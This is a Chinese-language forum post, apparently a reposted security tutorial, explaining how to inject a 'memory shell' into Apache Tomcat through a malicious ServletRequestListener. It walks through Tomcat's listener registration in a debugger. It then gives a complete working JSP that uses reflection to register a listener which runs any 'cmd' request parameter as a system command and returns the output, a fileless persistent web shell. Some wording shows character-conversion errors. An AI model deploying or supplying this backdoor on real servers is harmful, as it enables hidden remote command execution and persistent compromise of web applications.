Listener内存马

打印 上一主题 下一主题

主题 866|帖子 866|积分 2598

概述

Listener是Java Web App中的一种事故监听机制,用于监听Web应用程序中产生的事故,比方,在ServletContext初始化完成后,会触发contextInitialized事故,实现了ServletContextListener接口的Listener就可以接收到事故通知,可以在内部做一些初始化工作,如加载设置文件,初始化数据库连接池等。
简单来说Listener(监听器)就是一个实现特定接口的平凡java程序,这个程序专门用于监听另一个java对象的方法调用或属性改变,当被监听对象发生上述事故后,监听器某个方法将立即被实行。Listener常用于GUI应用程序中,我们的内存马重要涉及到的是ServletRequestListener(由于其在每次请求中都会触发)
增补

在Java WEB中,三组件的实行顺序是Listener -> Filter -> Servlet。学习的时候不知道,先学的Servlet内存马,导致对三组件理解不是很深,后边会优化Servlet内存马的博客,大家包涵。
Listener示例

创建以下类,继承ServletRequestListener,然后实现两个方法requestDestroyed以及requestInitialized,
  1. @WebListener
  2. // 这里可以直接使用WebListener,也可以在web.xml进行配置
  3. public class ListenerShell implements ServletRequestListener {
  4.     public void requestDestroyed(ServletRequestEvent sre) {
  5.         System.out.println("requestDestroyed......");
  6.     }
  7.     public void requestInitialized(ServletRequestEvent sre) {
  8.         System.out.println("requestInitialized......");
  9.     }
  10. }
复制代码
如果不利用注解方式,可以在web.xml中增加设置:
  1. <listener>
  2.     <listener-class>org.example.memoryshell.ListenerShell</listener-class>
  3. </listener>
复制代码
如图:

在ListenerShell的class处还有requestDestroyed、requestInitialized处打断点,随后启动项目

可以看到class处断点被掷中,然后跟踪左下角的堆栈信息,可以看到前边是调用了StandardContext.listenerStart()方法过来的,然后我们看一下这个方法是干嘛的。

这块的代码看起来是调用了findApplicationListeners把全部的listeners查出来,然后创建对应的listener实例。

其实applicationListeners的界说居然是一个List,嗯?web.xml中设置的不就是一个类的全路径字符串嘛,打开调试窗口看一下applicationListeners是啥东西

确实,这里就是一个List里边存储的就是全部的Listener,啊 这......
继续往下跟代码,此时拿到的results数组就是Listener的实例对象了,继续往下跟

这一段的逻辑就是,判定这个Listener的实例是否是ServletContextAttributeListener、ServletRequestAttributeListener、ServletRequestListener、HttpSessionIdListener、HttpSessionAttributeListener中的其中一种,如果是的话就把Listener实例添加到eventListeners中。
以上的逻辑都是设置在web.xml或者是利用了注解的设置下产生的,但是我们该怎么把非这种途径下产生的Listener放进入呢?
注意,最后还有一行语句是eventListeners.addAll,放进去的东西是this.getApplicationEventListeners(),我们看一下对应的方法

其实就是一个List,然后恰好在StandardContext中还有往这个List中写入的方法,我们看一下

所以有了这些内容,我们就可以构造基于Listener的恶意代码了。
增补1

通过debug我们还可以发现每一次请求都会触发ServletRequestListener.requestInitialized方法,也就是请求过来的时候Listener对实行初始化创建方法requestInitialized,然后详细的监听器逻辑则实行requestDestroyed方法。
Listener内存马分析

通过上述debug可以得出,Tomcat中的Listener来源于两部分:一是从web.xml设置文件中实例化的Listener,这部分我们无法控制;二是applicationEventListenersList中的Listener,后者是我们可以控制的。只需向applicationEventListenersList中添加恶意Listener,即可实现目标。
现实上,StandardContext类中提供了addApplicationEventListener()方法,我们可以直接调用该方法,将恶意Listener添加到applicationEventListenersList中。
因此,实现内存马的步骤如下:

  • 编写并继承一个恶意Listener;
  • 获取StandardContext实例;
  • 调用StandardContext.addApplicationEventListener()方法,将恶意Listener添加到监听列表中。
Listener内存马代码

创建一个listener_shell.jsp,写入以下内容
  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.apache.catalina.core.StandardContext" %>
  3. <%@ page import="java.lang.reflect.Field" %>
  4. <%@ page import="org.apache.catalina.connector.Request" %>
  5. <%@ page import="java.io.InputStream" %>
  6. <%@ page import="java.util.Scanner" %>
  7. <%!
  8.     // 定义一个简单的 Servlet 用于执行系统命令
  9.     public class MemShellListener  implements ServletRequestListener{
  10.         public void requestDestroyed(ServletRequestEvent sre) {
  11.             HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
  12.             String cmd = req.getParameter("cmd");
  13.             if(cmd == null) return;
  14.             try {
  15.                 InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
  16.                 Scanner s = new Scanner(in).useDelimiter("\\a");
  17.                 String out = s.hasNext()?s.next():"";
  18.                 Field requestF = req.getClass().getDeclaredField("request");
  19.                 requestF.setAccessible(true);
  20.                 Request request = (Request)requestF.get(req);
  21.                 request.getResponse().getWriter().write(out);
  22.             }catch (Exception ignore){ }
  23.         }
  24.     }
  25. %>
  26. <%
  27.     // 使用反射获取 StandardContext 上下文
  28.     Field reqField = request.getClass().getDeclaredField("request");
  29.     reqField.setAccessible(true);
  30.     Request req = (Request) reqField.get(request);
  31.     StandardContext stdContext = (StandardContext) req.getContext();
  32.     stdContext.addApplicationEventListener(new MemShellListener());
  33. %>
  34. <html>
  35. <head>
  36.     <title>Title</title>
  37. </head>
  38. <body>
  39.     <h1>Hello Listener</h1>
  40. </body>
  41. </html>
复制代码
访问对应的WEB路径,通报calc参数过去,弹出计算器



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

风雨同行

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表